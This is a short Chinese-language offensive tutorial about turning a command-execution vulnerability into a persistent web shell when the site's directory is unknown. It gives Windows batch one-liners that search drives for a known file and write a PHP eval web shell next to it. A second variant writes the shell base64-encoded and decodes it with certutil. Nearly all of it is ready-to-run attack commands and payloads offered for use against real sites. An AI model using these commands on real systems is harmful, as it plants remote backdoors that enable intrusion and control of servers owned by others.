在实战中我们可能挖到了一个命令执行但是因为找不到目录而无法写shell,那么该如何来拿shell呢
简单来说就是:查找系统的某个文件并在那个文件的同级目录下写入我们的新文件
0x02 命令
[规定查找的盘符] 例如: c盘, d盘, e盘, f盘
[查找的文件] 例如:index.php
[写入的内容] 例如:<?php eval($_REQUEST[1]); ?>
[写入的文件名字] 例如:xx.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (echo "[写入的内容]" > %i\..\[写入的文件名字])
命令实例化:for /f %i in ('dir /s /b c:\index.php') do (echo "<?php eval($_REQUEST[1]); ?>" > %i\..\xx.php)
0x03 举例
场景:
现在我们有一个命令执行漏洞,但是找不到站点的目录无法写shell,于是就想批量查找某个文件并在这个文件下写入我们自己的文件
查看站点发现了一张图片 http://x.x.x.x/upload/icon.jpg
但是无法得知路径,这种情况下就可以使用下面的命令批量查找写入了
0x03.1 例子一 普通写入
查找c盘下面所有叫 1.jpg 的文件
并且在同级目录写入一个文件 test.txt
文件内容为 123
命令:for /f %i in ('dir /s /b c:\1.jpg') do (echo "123" > %i\..\test.txt)
执行完毕以后,c盘所有叫 1.jpg 的文件同级目录就都会写入一个 test.txt 文件了
接着我们访问 http://x.x.x.x/upload/test.txt
就可以看到站点写入了一个 test.txt 文件
内容为: 123
0x03.2 例子二 - base64写shell
第一步
先查找c盘上所有叫 1.jpg 的文件,然后把base64编码内容写入到 base64.txt 文件里面
[规定查找的盘符] 例如: c盘, d盘, e盘, f盘
[查找的文件] 例如:1.jpg
[写入的文件名字] 例如:1.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (echo [base64编码的内容] > %i\..\[写入的文件名字])
实例执行命令:写base64文件到规定的路径下:for /f %i in ('dir /s /b c:\1.jpg') do (echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= > %i\..\base64.txt)
第二步
在找到第一步写入的文件,进行base64解码以后进行二次写马
[规定查找的盘符] 例如: c盘, d盘, e盘, f盘
[查找的文件] 例如:base64-hm-test.txt
[要解码的文件名字] 例如:base64-hm-test.txt
[写入的文件名字] 例如:1.php
命令:for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (certutil.exe -decode %i\..\[要解码的文件名字] %i\..\[写入的文件名字])
实例执行命令:for /f %i in ('dir /s /b c:\base64.txt') do (certutil.exe -decode %i\..\base64.txt %i\..\1.php)
执行完毕以后,c盘所有叫 1.jpg 的文件同级目录就都会写入一个 1.php 文件了
接着我们访问 http://x.x.x.x/upload/1.php
就可以看到站点写入了一个 1.php 文件
内容为: <?php eval($_REQUEST[1]); ?>